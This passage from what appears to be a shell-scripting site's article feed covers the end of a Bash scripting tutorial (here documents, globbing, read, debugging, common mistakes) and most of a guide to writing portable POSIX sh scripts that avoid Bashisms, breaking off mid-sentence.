scripts.</p>\n\n<h2>Here documents and here strings</h2>\n<p>A here document feeds literal multiline text to a command's standard input. With an unquoted delimiter, variables and command substitutions expand inside it. With a quoted delimiter, nothing does. A leading dash on the operator, <code>&lt;&lt;-</code>, strips leading tabs so the block can be indented with the surrounding code.</p>\n<pre><code class=\"language-bash\">user=deploy\ncat &lt;&lt;EOF &gt; /tmp/unit.conf\n[service]\nUser=$user\nExecStart=/usr/local/bin/app --home=\\$HOME\nEOF\n\ngrep -c service &lt;&lt;&lt; \"$(cat /tmp/unit.conf)\"\n</code></pre>\n<p>The <code>&lt;&lt;&lt;</code> operator is a here string, which passes one string as standard input without the <code>echo \"$x\" |</code> pipe. Because it avoids a pipeline, the receiving command runs in the current shell when it is a builtin such as <code>read</code>. Use a quoted delimiter, <code>&lt;&lt;'EOF'</code>, whenever the text contains dollar signs that must stay literal, such as a generated script or a systemd unit with shell syntax in it.</p>\n\n<h2>Process substitution</h2>\n<p>The form <code>&lt;(command)</code> runs a command and gives its output a file name that other commands can open. It lets you compare two commands' output without temporary files, and it keeps a loop in the current shell while reading from a command.</p>\n<pre><code class=\"language-bash\">diff &lt;(sort a.txt) &lt;(sort b.txt)\nwhile IFS= read -r user; do\n  echo \"login shell for $user\"\ndone &lt; &lt;(cut -d: -f1 /etc/passwd | head -3)\n</code></pre>\n<p>The file name is typically <code>/dev/fd/63</code>, a pipe, so the consumer reads it once and cannot seek. A tool that needs to read its input twice or measure its size will not work with it. Process substitution is a Bash, Zsh and Ksh feature; dash and BusyBox ash do not have it.</p>\n\n<h2>Globbing and brace expansion</h2>\n<p>Two different expansions share similar syntax. Braces generate strings before anything else happens: <code>{a,b,c}</code>, <code>{1..5}</code> and <code>{01..10}</code> expand whether or not matching files exist. Globs match existing files: <code>*</code>, <code>?</code> and <code>[a-c]</code>. With <code>shopt -s extglob</code> you also get patterns like <code>!(*.bak)</code> and <code>+(digit)</code>, and with <code>shopt -s globstar</code>, <code>**</code> descends into directories.</p>\n<pre><code class=\"language-bash\">mkdir -p /tmp/site/{css,js,img}\ntouch /tmp/site/{a,b}.html\nshopt -s globstar nullglob\nfor f in /tmp/site/**/*.html; do echo \"$f\"; done\ncp config.yml{,.bak}\n</code></pre>\n<p>The last line expands to <code>cp config.yml config.yml.bak</code>, a handy idiom for a quick backup. Remember that a glob that matches nothing is passed through unchanged by default, so <code>rm *.tmp</code> in an empty directory reports an error about a file literally named <code>*.tmp</code>. Set <code>nullglob</code> to make it expand to nothing, and check the array length before using the result.</p>\n\n<h2>Read input from the user</h2>\n<p><code>read</code> takes a line from standard input and splits it into variables. A prompt with <code>-p</code>, a silent mode with <code>-s</code> for secrets and a timeout with <code>-t</code> cover interactive scripts. A script that may also run unattended should check whether it has a terminal first.</p>\n<pre><code class=\"language-bash\">if [[ -t 0 ]]; then\n  read -r -p \"Delete $target? [y/N] \" answer\nelse\n  answer=n\nfi\n[[ $answer == [yY]* ]] || { echo \"aborted\"; exit 1; }\nread -r -s -p \"Token: \" token; echo\n</code></pre>\n<p>The test <code>-t 0</code> is true when standard input is a terminal. Defaulting to \"no\" when there is none stops a destructive step from running from cron on a guess. Never put a secret on the command line as an argument, because it is visible to every user through the process list; read it from a prompt, a file with tight permissions or an environment variable instead.</p>\n\n<h2>Strings and substrings</h2>\n<p>Bash can slice and edit strings without calling external programs. <code>${#var}</code> is the length, <code>${var:2:5}</code> is five characters from offset two, and <code>${var/old/new}</code> replaces the first match while <code>${var//old/new}</code> replaces all of them. For lists of words, set <code>IFS</code> and use <code>read -ra</code> to split into an array.</p>\n<pre><code class=\"language-bash\">s=\"alpha,beta,gamma\"\necho \"${#s} ${s:6:4} ${s//,/ | }\"\nIFS=, read -ra parts &lt;&lt;&lt; \"$s\"\nprintf '%s\\n' \"${parts[@]}\"\n</code></pre>\n<pre><code class=\"language-text\">16 beta alpha | beta | gamma\nalpha\nbeta\ngamma\n</code></pre>\n<p>Assigning <code>IFS=,</code> in front of <code>read</code> applies only to that command. Changing <code>IFS</code> globally is a common source of bugs in the lines that follow it, so avoid it unless you restore the old value.</p>\n\n<h2>Source a library of functions</h2>\n<p>When two scripts need the same helpers, put them in a file and load it with <code>source</code> (or the portable <code>.</code>). The file runs in the current shell, so its functions and variables become available. Locate it relative to the script, so it works from any directory.</p>\n<pre><code class=\"language-bash\">script_dir=$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" &amp;&amp; pwd)\n# shellcheck source=lib/common.sh\nsource \"$script_dir/lib/common.sh\"\nlog INFO \"library loaded\"\n</code></pre>\n<p>The comment above the <code>source</code> line is a directive for ShellCheck, which otherwise cannot follow a path built from a variable. A library should only define functions and constants, not run commands, and should avoid <code>set -e</code> or <code>exit</code> of its own, because those would change the behavior of whichever script loads it.</p>\n\n<h2>Dates, time and durations</h2>\n<p>GNU <code>date</code> formats and parses times. <code>date +%F</code> prints an ISO date, <code>date -d '2 days ago' +%F</code> does date arithmetic, and <code>date +%s</code> prints seconds since the epoch, which is the easiest form for measuring a duration. Bash itself has <code>printf '%(%F)T' -1</code> for formatting the current time without starting a process, and a built-in <code>SECONDS</code> variable that counts since the shell started.</p>\n<pre><code class=\"language-bash\">start=$(date +%s)\nsleep 2\nelapsed=$(( $(date +%s) - start ))\necho \"took ${elapsed}s, run at $(date -d @\"$start\" +%FT%T%z)\"\nprintf 'now: %(%F %T)T\\n' -1\n</code></pre>\n<p>BSD and macOS <code>date</code> use <code>-v</code> instead of <code>-d</code> for arithmetic, so a script that computes dates is not portable between them without a wrapper. Store timestamps in UTC with an explicit offset when a script's output is read by other systems.</p>\n\n<h2>Style that keeps a script readable</h2>\n<p>Scripts live longer than the afternoon they were written in. A few conventions cost nothing and make a script easier to change safely. Put <code>set -euo pipefail</code> and configuration at the top. Define functions next, then a <code>main</code> function that holds the flow, and end the file with <code>main \"$@\"</code>, so the script reads top to bottom as a table of contents. Use lowercase for locals and uppercase for constants and environment. Indent with two spaces. Keep lines under 80 characters by breaking at a pipe or <code>&amp;&amp;</code>, with the operator at the end of the line so Bash knows the command continues.</p>\n<p>Write comments that explain why. A comment that says \"loop over files\" above a loop over files is noise, while one that says \"tar exits 1 when a file changes during the read, which is fine here\" saves the next person an hour. Name variables for what they hold, such as <code>backup_dir</code> instead of <code>d</code>. When a function is longer than a screen, split it. When a script passes 200 lines, ask whether the next section of this guide applies.</p>\n\n<h2>Make a script safe to run twice</h2>\n<p>A script that fails halfway will be run again, by you, by cron or by a retry in a CI system. If the second run breaks because the first one already created a directory, added a line to a file or moved a file, the failure is in the script. The property you want is idempotence: running it twice leaves the system in the same state as running it once. Use <code>mkdir -p</code> instead of <code>mkdir</code>, <code>ln -sfn</code> instead of <code>ln -s</code>, and <code>rm -f</code> where absence is fine. Before appending a line to a file, check whether it is already there with <code>grep -qxF</code>.</p>\n<pre><code class=\"language-bash\">line='export PATH=\"$HOME/bin:$PATH\"'\ngrep -qxF -- \"$line\" ~/.profile || printf '%s\\n' \"$line\" &gt;&gt; ~/.profile\nln -sfn \"$release_dir\" /srv/app/current\n</code></pre>\n<p>The second command swaps a symlink to a new release directory. Swapping the link is close to atomic on the same filesystem, which is why deploy scripts use it. Combine that with the lock from the unattended-scripts section and a second run either waits or exits cleanly.</p>\n\n<h2>Debug while you write</h2>\n<p>Run <code>bash -n script.sh</code> to check syntax without executing anything. Run <code>bash -x script.sh</code> to print every command after expansion with a leading plus sign, which is the fastest way to see what a quoted or unquoted variable became. The trace prefix is controlled by <code>PS4</code>.</p>\n<pre><code class=\"language-bash\">bash -n backup.sh &amp;&amp; echo \"syntax ok\"\nbash -x backup.sh -k 3 /tmp/demo\n</code></pre>\n<pre><code class=\"language-text\">syntax ok\n+ keep=7\n+ dest=/home/dev/backups\n</code></pre>\n<p>To see the file and line next to each command, assign <code>PS4</code> inside the script, for example <code>PS4='+ ${BASH_SOURCE##*/}:${LINENO}: '</code> before <code>set -x</code>. On Bash 5.2.15 in Debian 12, exporting <code>PS4</code> in the environment before launching <code>bash -x</code> did not change the prefix, while assigning it inside the script did, so set it in the script. </p>\n<p>You can also turn tracing on for part of a script with <code>set -x</code> and off with <code>set +x</code>. For problems that tracing cannot show, such as a command hanging or a file that is never opened, the next tools are <code>strace</code> and a debugger-style approach, covered in <a href=\"/library/debugging-shell-scripts\">the debugging guide</a>. Until then, an <code>echo</code> before a destructive command that prints what it is about to do costs nothing and catches most mistakes.</p>\n\n<h2>Common mistakes and their fixes</h2>\n<p>A short catalogue of what beginners hit, each paired with the fix.</p>\n<ul>\n<li><strong>Spaces around the equals sign.</strong> <code>x = 1</code> runs a command called <code>x</code>. Write <code>x=1</code>.</li>\n<li><strong>Unquoted expansions.</strong> <code>rm $f</code> splits and globs. Write <code>rm -- \"$f\"</code>.</li>\n<li><strong>Testing the wrong thing.</strong> <code>if [ $? -eq 0 ]</code> after a command is noise. Write <code>if command; then</code>.</li>\n<li><strong>Piping into <code>while</code> and expecting variables to survive.</strong> The loop is a subshell. Redirect from a file or use process substitution.</li>\n<li><strong>Using <code>for f in $(ls)</code>.</strong> It breaks on spaces. Use <code>for f in *</code>.</li>\n<li><strong>Comparing numbers with <code>&lt;</code> in <code>[[ ]]</code>.</strong> That compares strings. Use <code>(( a &lt; b ))</code> or <code>-lt</code>.</li>\n<li><strong>Forgetting that <code>cd</code> can fail.</strong> Write <code>cd dir || exit 1</code>.</li>\n<li><strong>Relying on the current directory.</strong> Resolve paths from <code>BASH_SOURCE</code> instead.</li>\n</ul>\n<p>Most of these are caught by ShellCheck. The ones that are not, such as the subshell loop, are the reason to understand the model rather than only follow rules.</p>\n\n<h2>When a script should not be a Bash script</h2>\n<p>Bash is the right tool when the work is mostly running other programs, moving files and connecting outputs to inputs. It is the wrong tool when the script needs real data structures, structured parsing of JSON or XML, a long-lived process, numeric work beyond integers, or tests that take a day to write. A rough marker is a script past 200 lines that is growing nested arrays and string escaping, or one that needs to run on Windows. In those cases a Python or Go program is cheaper to maintain, and the move is a staged rewrite, not a leap. <a href=\"/library/linux-command-line-guide\">The Linux command line guide</a> covers the commands a script leans on, and it is worth reading before deciding that a script needs replacing.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>Alpine, BusyBox and minimal containers.</strong> These images ship <code>ash</code>, with no arrays, no <code>[[</code>, no <code>local</code> in some builds and no process substitution. Write POSIX sh, use <code>case</code> for matching, and read the portable shell guide linked above.</p>\n<p><strong>macOS.</strong> The system Bash is 3.2, from 2007, so associative arrays, <code>mapfile</code>, <code>${var^^}</code> and name references do not exist there. Install a current Bash with Homebrew and use <code>#!/usr/bin/env bash</code> so the newer one is found, or avoid those features.</p>\n<p><strong>Scripts that handle untrusted input.</strong> Anything that processes data from users, uploads or the network needs the extra care in the security guide, since quoting alone does not stop injection through <code>eval</code>, option smuggling or unsafe temporary files.</p>\n<p><strong>Large data work.</strong> A loop that reads a million lines with <code>read</code> is slow because each iteration is interpreted. Use <code>awk</code>, <code>sort</code> or a real language for bulk text.</p>\n\n<h2>What to read next</h2>\n<p>With scripts running, the next skills are understanding the commands they call, finding why they misbehave and proving they keep working. Start with <a href=\"/library/linux-command-line-guide\">the Linux command line guide</a> for the toolset, then <a href=\"/library/debugging-shell-scripts\">the debugging guide</a> for <code>set -x</code>, <code>PS4</code> and <code>strace</code>, and <a href=\"/library/test-shell-scripts-bats-shellcheck\">the testing guide</a> for putting a safety net under a script before you change it.</p>\n<p>Primary sources used here: the <a href=\"https://www.gnu.org/software/bash/manual/bash.html\">Bash Reference Manual</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">POSIX shell language specification</a>, the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html\">parameter expansion section</a>, the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Conditional-Constructs.html\">conditional constructs section</a>, the <a href=\"https://man7.org/linux/man-pages/man1/flock.1.html\">flock manual page</a>, the <a href=\"https://man7.org/linux/man-pages/man1/mktemp.1.html\">mktemp manual page</a>, the <a href=\"https://man7.org/linux/man-pages/man7/signal.7.html\">signal manual page</a>, the <a href=\"https://www.gnu.org/software/coreutils/manual/html_node/index.html\">GNU coreutils manual</a> and the <a href=\"https://github.com/koalaman/shellcheck/wiki\">ShellCheck wiki</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Bash"]},{"id":"https://shellhacks.dev/library/posix-sh-vs-bash-portable-scripts","url":"https://shellhacks.dev/library/posix-sh-vs-bash-portable-scripts","title":"Portable Shell Scripts and POSIX sh Versus Bash in Practice","summary":"Write portable shell scripts that run on dash, BusyBox and Bash: what POSIX sh allows, which Bashisms to drop, and how to test on each shell.","content_html":"<p>A portable shell script is one whose behavior does not depend on which program answers to the name <code>sh</code>. The practical way to get there is to write to the POSIX shell language, test on at least two real shells that are not Bash, and treat every Bash feature as a deliberate choice instead of a habit. The examples here ran on Debian 12 with dash 0.5.12 and Bash 5.2, and on Alpine 3.20 with BusyBox 1.36 ash. If the script only ever runs where Bash is installed, <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a> is the better guide, and this one explains when to pick which.</p>\n\n<h2>What sh is on your machine</h2>\n<p>The name <code>sh</code> is a contract, not a program. It promises a shell that implements the POSIX shell language, and each system fills it with whatever it prefers. Check yours before assuming anything.</p>\n<pre><code class=\"language-bash\">ls -l /bin/sh\nreadlink -f /bin/sh\n</code></pre>\n<pre><code class=\"language-text\">lrwxrwxrwx 1 root root 4 Mar  1 09:12 /bin/sh -&gt; dash\n/usr/bin/dash\n</code></pre>\n<p>On Debian and Ubuntu it is dash, chosen in 2006 because it starts faster and uses less memory than Bash, which matters for boot scripts. On Alpine and other BusyBox systems it is ash, a close relative of dash. On Fedora, Arch and macOS it is Bash, started in POSIX mode. On FreeBSD it is a small Almquist shell. A script developed and checked on a Fedora laptop with <code>#!/bin/sh</code> can use Bash features by accident and then fail the moment it lands on a Debian server. This is the single largest source of the familiar complaint that it works locally in shell scripting.</p>\n\n<h2>What POSIX actually specifies</h2>\n<p>The shell language is defined in the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">Shell Command Language chapter of POSIX.1-2017</a>, and the utilities scripts call (<code>sed</code>, <code>awk</code>, <code>grep</code>, <code>sort</code>, <code>find</code>) are specified in the same document. It covers pipelines, lists, <code>if</code>, <code>for</code>, <code>while</code>, <code>until</code>, <code>case</code>, functions with <code>name() { ...; }</code>, command and arithmetic substitution, here documents, parameter expansion with the <code>:-</code>, <code>:=</code>, <code>:?</code>, <code>:+</code>, <code>#</code>, <code>##</code>, <code>%</code> and <code>%%</code> operators, the special parameters, redirections, <code>trap</code>, <code>getopts</code>, and a list of special builtins.</p>\n<p>What it leaves out is the long list that Bash added: arrays, associative arrays, <code>[[</code>, process substitution, brace expansion, <code>${var//a/b}</code> replacement, substring offsets, the <code>local</code> keyword (not in the standard, though nearly every shell supports it), <code>source</code>, <code>pipefail</code> and <code>$RANDOM</code>. The standard is the lowest common denominator, and writing to it is a discipline of knowing which of your habits sit above the line.</p>\n\n<h2>Choose the interpreter on purpose</h2>\n<p>Pick one of three declarations and mean it. <code>#!/bin/sh</code> says \"POSIX only, and run me with whatever sh is here.\" <code>#!/usr/bin/env bash</code> says \"Bash is required.\" <code>#!/bin/bash</code> says the same but assumes a path that fails on NixOS, some BSDs and macOS Homebrew setups.</p>\n<table>\n<thead><tr><th>Situation</th><th>Shebang</th><th>Reason</th></tr></thead>\n<tbody>\n<tr><td>Installer or entrypoint that runs on unknown hosts</td><td><code>#!/bin/sh</code></td><td>Only <code>sh</code> is guaranteed to exist</td></tr>\n<tr><td>Docker entrypoint on Alpine</td><td><code>#!/bin/sh</code></td><td>Bash is not in the base image</td></tr>\n<tr><td>Dev tooling on machines you control</td><td><code>#!/usr/bin/env bash</code></td><td>Arrays and <code>[[</code> are worth it</td></tr>\n<tr><td>Anything using associative arrays</td><td><code>#!/usr/bin/env bash</code></td><td>No POSIX equivalent</td></tr>\n<tr><td>Performance sensitive boot or init script</td><td><code>#!/bin/sh</code></td><td>dash starts several times faster</td></tr>\n</tbody>\n</table>\n<p>The shebang is also a promise about the test matrix. If it says <code>sh</code>, the script is checked under dash and BusyBox. If it says Bash, installing Bash is a documented requirement.</p>\n\n<h2>Bashism: double brackets</h2>\n<p>The extended test <code>[[ ]]</code> is the most common Bashism. In dash it fails with <code>[[: not found</code>. The POSIX replacement is the <code>[</code> command, with every variable quoted, plus <code>case</code> for pattern matching.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\n# Bash: [[ $name == web-* &amp;&amp; -n $env ]]\ncase $name in\n  web-*) pattern_ok=1 ;;\n  *)     pattern_ok=0 ;;\nesac\nif [ \"$pattern_ok\" = 1 ] &amp;&amp; [ -n \"$env\" ]; then\n  echo \"matched\"\nfi\n</code></pre>\n<p>Inside <code>[ ]</code>, use a single <code>=</code> for string equality. The double <code>==</code> works in Bash's <code>[</code> and in some other shells but is not in POSIX, and dash rejects it with <code>unexpected operator</code>. Replace <code>-a</code> and <code>-o</code> by chaining two tests with <code>&amp;&amp;</code> and <code>||</code>, since the standard marks the former obsolescent and they are ambiguous when an operand looks like an operator. Regex matching with <code>=~</code> has no POSIX form; call <code>grep -E</code> or <code>expr</code> instead.</p>\n<pre><code class=\"language-bash\">if printf '%s\\n' \"$version\" | grep -Eq '^[0-9]+\\.[0-9]+\\.[0-9]+$'; then\n  echo \"semver\"\nfi\n</code></pre>\n\n<h2>Bashism: arrays</h2>\n<p>POSIX sh has exactly one array: the positional parameters <code>$1</code>, <code>$2</code> and so on. Everything else must be encoded. For a list of simple tokens that contain no whitespace, a string split by the shell works. For a list that may contain spaces, use positional parameters through <code>set --</code>, which rewrites <code>\"$@\"</code> inside the current function or script.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nset -- \"web 01\" \"web02\" \"db01\"\nfor host do\n  printf '[%s]\\n' \"$host\"\ndone\necho \"$# hosts\"\nset -- \"$@\" \"cache01\"\necho \"$# hosts\"\n</code></pre>\n<pre><code class=\"language-text\">[web 01]\n[web02]\n[db01]\n3 hosts\n4 hosts\n</code></pre>\n<p>A <code>for</code> loop with no <code>in</code> list iterates over <code>\"$@\"</code>, which is both portable and quoting-safe. The cost is that there is one such list per scope. A function that needs its own list while the script holds another one must save and restore, or restructure the work to pass items through standard input one per line. For a lookup table, a <code>case</code> statement inside a function replaces an associative array cleanly.</p>\n<pre><code class=\"language-bash\">port_for() {\n  case $1 in\n    http)  echo 80 ;;\n    https) echo 443 ;;\n    ssh)   echo 22 ;;\n    *)     return 1 ;;\n  esac\n}\nport_for https\n</code></pre>\n\n<h2>Bashism: process substitution and here strings</h2>\n<p>The forms <code>&lt;(cmd)</code> and <code>&lt;&lt;&lt; \"text\"</code> are Bash, Zsh and Ksh only. The portable substitute for a here string is a here document or a pipe, and for process substitution it is a temporary file or a named pipe. The loop that needs to modify variables is the only place this really hurts, because a pipe into <code>while</code> runs the loop in a subshell.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\ntmp=$(mktemp) || exit 1\ntrap 'rm -f \"$tmp\"' EXIT\ngrep -v '^#' hosts.txt &gt; \"$tmp\"\ncount=0\nwhile IFS= read -r line; do\n  count=$((count + 1))\ndone &lt; \"$tmp\"\necho \"$count hosts\"\n</code></pre>\n<p>Writing to a file and redirecting from it keeps the loop in the main shell. An alternative with no temporary file is a here document that wraps command substitution, <code>done &lt;&lt;EOF</code> followed by <code>$(command)</code>, though the whole output is held in memory and trailing newlines are trimmed. For comparing two sorted streams, <code>diff</code> against two temporary files is the plain version of <code>diff &lt;(a) &lt;(b)</code>.</p>\n\n<h2>Bashism: string operations</h2>\n<p>POSIX parameter expansion gives you removal of prefixes and suffixes, defaults, and length, and nothing more. The substitution forms <code>${s/old/new}</code> and <code>${s//old/new}</code>, substring <code>${s:2:3}</code>, case conversion <code>${s^^}</code> and indirect <code>${!name}</code> are all Bash extensions.</p>\n<table>\n<thead><tr><th>Need</th><th>Bash</th><th>POSIX sh</th></tr></thead>\n<tbody>\n<tr><td>Replace all</td><td><code>${s//a/b}</code></td><td><code>printf '%s' \"$s\" | sed 's/a/b/g'</code></td></tr>\n<tr><td>Substring</td><td><code>${s:2:3}</code></td><td><code>printf '%s' \"$s\" | cut -c3-5</code></td></tr>\n<tr><td>Upper case</td><td><code>${s^^}</code></td><td><code>printf '%s' \"$s\" | tr '[:lower:]' '[:upper:]'</code></td></tr>\n<tr><td>Starts with</td><td><code>[[ $s == pre* ]]</code></td><td><code>case $s in pre*) ... ;; esac</code></td></tr>\n<tr><td>Strip extension</td><td><code>${f%.*}</code></td><td>Same, and portable</td></tr>\n<tr><td>Basename</td><td><code>${f##*/}</code></td><td>Same, and portable</td></tr>\n</tbody>\n</table>\n<p>The cost of the portable forms is a subprocess per call, so inside a tight loop over thousands of items they are noticeably slower. When that matters, move the heavy lifting into one <code>sed</code> or <code>awk</code> invocation that handles the whole input, rather than a fork per line. The shape of those tools is described in <a href=\"/library/grep-sed-awk-guide\">the grep, sed and awk guide</a>.</p>\n\n<h2>Bashism: echo and printf</h2>\n<p>This one produces silent bugs, not errors. In POSIX sh, <code>echo</code> with a backslash sequence is implementation-defined. Dash interprets <code>\\n</code> in <code>echo</code> by default, Bash does not unless asked, and <code>-e</code> and <code>-n</code> are not guaranteed to be treated as options.</p>\n<pre><code class=\"language-bash\">sh -c 'echo \"a\\tb\"'\nbash -c 'echo \"a\\tb\"'\nsh -c 'echo -e \"x\"'\n</code></pre>\n<pre><code class=\"language-text\">a       b\na\\tb\n-e x\n</code></pre>\n<p>The three results differ for the same text. The fix is mechanical: use <code>printf</code>, which the standard defines precisely. Always give <code>printf</code> a format string and pass data as arguments, so that a percent sign or backslash in the data is not interpreted.</p>\n<pre><code class=\"language-bash\">printf '%s\\n' \"$message\"\nprintf 'name=%s\\tport=%s\\n' \"$name\" \"$port\"\nprintf %s \"no trailing newline\"\n</code></pre>\n<p>The pattern <code>printf \"$message\"</code> with data in the format is a bug and a small injection risk. See <a href=\"/library/shell-script-security\">the shell script security guide</a> for why format strings and option-like data need the same care as quoting.</p>\n\n<h2>Bashism: local, source and function syntax</h2>\n<p>Three keywords sit in a gray area. The <code>function</code> keyword, as in <code>function check { ...; }</code>, is Bash and Ksh; POSIX only defines <code>check() { ...; }</code>. The word <code>source</code> is Bash and Zsh; POSIX defines the dot command, <code>. ./lib.sh</code>, and that is the portable spelling. The <code>local</code> keyword is not in POSIX.1-2017 but is implemented by dash, BusyBox ash, Bash, Ksh93 and Zsh, so it is safe in practice if you restrict yourself to <code>local name</code> or <code>local name=value</code> with a single simple variable.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\n. \"$(dirname \"$0\")/lib.sh\"\n\ngreet() {\n  local who=\"$1\"\n  printf 'hello %s\\n' \"$who\"\n}\ngreet world\n</code></pre>\n<p>The restriction matters because the shells differ at the edges. In dash, <code>local x=$(cmd)</code> works, but in Bash it hides the exit status of <code>cmd</code>; declare and assign on separate lines when the status matters. Do not combine <code>local</code> with arrays, <code>-r</code> or <code>-i</code>, none of which are portable. If you need strictly standard behavior, avoid <code>local</code> and prefix variable names with the function name.</p>\n\n<h2>Bashism: pipefail, ERR and other settings</h2>\n<p><code>set -o pipefail</code> is the setting people miss most. It was added to the POSIX standard text only in later revisions of Issue 8 and is not available in dash 0.5.12, which exits with <code>Illegal option -o pipefail</code>. BusyBox ash accepts it; BusyBox 1.35 on Debian 12 printed <code>ok</code> for <code>set -o pipefail</code>, but check older images before relying on it. The <code>ERR</code> trap, <code>BASH_SOURCE</code>, <code>FUNCNAME</code>, <code>LINENO</code> in all contexts, <code>$RANDOM</code>, <code>$SECONDS</code>, <code>PIPESTATUS</code> and <code>$OSTYPE</code> are also Bash or Ksh extras.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nset -eu\n# pipefail is not portable; guard it\nif (set -o pipefail) 2&gt;/dev/null; then\n  set -o pipefail\nfi\n</code></pre>\n<p>The subshell test attempts the option and discards the error, so the same script runs on dash, which skips it, and on Bash or BusyBox, which enable it. Where a pipeline failure matters and <code>pipefail</code> is missing, break the pipeline into steps that write to a temporary file and check each one's status. The settings <code>-e</code> and <code>-u</code> are in POSIX and behave the same across shells apart from the corner cases in the next section.</p>\n\n<h2>Where set -e differs between shells</h2>\n<p>The rules for when <code>set -e</code> exits are written down in POSIX, but implementations disagree in the odd places, which makes the setting a poor foundation for portability. A well-known example is a function used as a condition, where the errexit rule is suspended for everything the function does.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nset -e\ncheck() {\n  false\n  echo \"still running inside the condition\"\n}\nif check; then echo \"check passed\"; fi\n</code></pre>\n<pre><code class=\"language-text\">still running inside the condition\ncheck passed\n</code></pre>\n<p>Both dash and Bash print the same here, which surprises readers who expected the <code>false</code> to abort the function. A difference appears in compound commands: an assignment from a failing command substitution exits on some shells and not on others in specific forms, and <code>local x=$(false)</code> never exits because <code>local</code> succeeds. The reliable approach is to check the commands that matter with <code>|| exit</code> or <code>|| return</code>, and use <code>set -e</code> as a backstop.</p>\n\n<h2>Arithmetic</h2>\n<p>POSIX supports <code>$(( ... ))</code> with integer operators, comparison, ternary and the usual assignment forms in the expression, and nothing else. There is no <code>(( ))</code> command, no <code>let</code>, no <code>++</code> or <code>--</code> as required operators, no <code>**</code> exponent and no floating point. Dash does not implement the <code>**</code> exponent that Bash does, and fails with <code>arithmetic expression: expecting primary</code>, so a script that squares with <code>**</code> works on one and breaks on the other.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\ni=0\nwhile [ \"$i\" -lt 3 ]; do\n  i=$((i + 1))\n  printf 'pass %s\\n' \"$i\"\ndone\nsquare=$((i * i))\necho \"$square\"\n</code></pre>\n<p>Use <code>[ \"$a\" -lt \"$b\" ]</code> or <code>[ $((a &lt; b)) -eq 1 ]</code> for comparisons, and hand decimals to <code>awk</code>, which is in POSIX. For integers beyond 64 bits, no shell helps, and <code>bc</code> or <code>dc</code> is the portable choice. Hexadecimal and octal constants work in <code>$(( ))</code> in all POSIX shells, so <code>$((0x1f))</code> is fine.</p>\n\n<h2>Functions, return values and exit codes</h2>\n<p>Functions in POSIX sh return a status with <code>return n</code> and output data on standard output. There are no name references, so a function cannot assign to a caller's variable by name without <code>eval</code>. The usual substitutes are to print the result and capture it with command substitution, or to set a well-named global variable and document it.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nparse_host() { printf '%s\\n' \"${1%%:*}\"; }\nparse_port() { printf '%s\\n' \"${1##*:}\"; }\n\ntarget=\"db01.internal:5432\"\nhost=$(parse_host \"$target\")\nport=$(parse_port \"$target\")\necho \"$host $port\"\n</code></pre>\n<p>Remember that command substitution creates a subshell, which costs a fork each time. In a loop over many items, it is faster to set a global in the function and read it afterward. Choose by measuring; a fork is on the order of a millisecond on a laptop and the difference rarely matters below a few thousand calls.</p>\n\n<h2>Read input portably</h2>\n<p>The POSIX <code>read</code> has only <code>-r</code>. It does not have <code>-p</code> for a prompt, <code>-s</code> for silent, <code>-t</code> for a timeout, <code>-a</code> for an array or <code>-n</code> to read a number of characters. Print the prompt with <code>printf</code> and use <code>stty</code> around <code>read</code> to hide a typed secret.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nprintf 'Token: ' &gt;&amp;2\nstty -echo 2&gt;/dev/null\ntrap 'stty echo 2&gt;/dev/null' EXIT\nIFS= read -r token\nstty echo 2&gt;/dev/null\nprintf '\\n' &gt;&amp;2\n</code></pre>\n<p>The trap restores the terminal if the user hits Ctrl-C mid-entry, which is the classic way to leave a shell with echo switched off. A timeout has no clean portable form; use the <code>timeout</code> utility from GNU coreutils or BusyBox, which exists on nearly every system but is not in POSIX.1-2017.</p>\n\n<h2>Utilities differ more than shells do</h2>\n<p>The shell is only half of portability. The commands a script calls vary between GNU, BSD and BusyBox, and these differences cause more real failures than syntax. GNU <code>sed -i</code> edits in place with no suffix; BSD and macOS <code>sed -i</code> require a suffix argument, so <code>sed -i 's/a/b/' f</code> fails on macOS. GNU <code>date -d</code> parses dates; BSD uses <code>-j -f</code> or <code>-v</code>. GNU <code>readlink -f</code> resolves paths; macOS before 12.3 had no <code>-f</code>. BusyBox <code>grep</code> may lack <code>-P</code>, <code>-o</code> or <code>--include</code>, and BusyBox <code>find</code> lacks <code>-printf</code> in minimal builds.</p>\n<table>\n<thead><tr><th>Task</th><th>GNU-only form</th><th>Portable form</th></tr></thead>\n<tbody>\n<tr><td>In-place edit</td><td><code>sed -i 's/a/b/' f</code></td><td>Write to a temp file, then <code>mv</code> it back</td></tr>\n<tr><td>Absolute path</td><td><code>readlink -f x</code></td><td><code>cd -- \"$(dirname -- x)\" &amp;&amp; pwd</code></td></tr>\n<tr><td>File size</td><td><code>stat -c %s f</code></td><td><code>wc -c &lt; f</code></td></tr>\n<tr><td>Extended regex</td><td><code>sed -r</code></td><td><code>sed -E</code> (POSIX since 2024)</td></tr>\n<tr><td>Null-separated find</td><td><code>find -print0 | xargs -0</code></td><td><code>find ... -exec cmd {} +</code></td></tr>\n<tr><td>Case-insensitive grep</td><td><code>grep -i</code></td><td>Same, and portable</td></tr>\n</tbody>\n</table>\n<p>The habit that pays off is to read the POSIX page for any utility option you are unsure of, since an option absent from the page is a flag to test elsewhere. The <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/idx/utilities.html\">POSIX utilities index</a> lists them all.</p>\n\n<h2>Temporary files and cleanup</h2>\n<p><code>mktemp</code> is not in POSIX.1-2017 but exists on Linux, every BSD, macOS and BusyBox, so it is safe in practice. Its options differ: GNU accepts <code>mktemp -d</code> and a template with trailing Xs, BSD accepts both as well, and BusyBox requires the Xs to be at the end. Use <code>mktemp -d 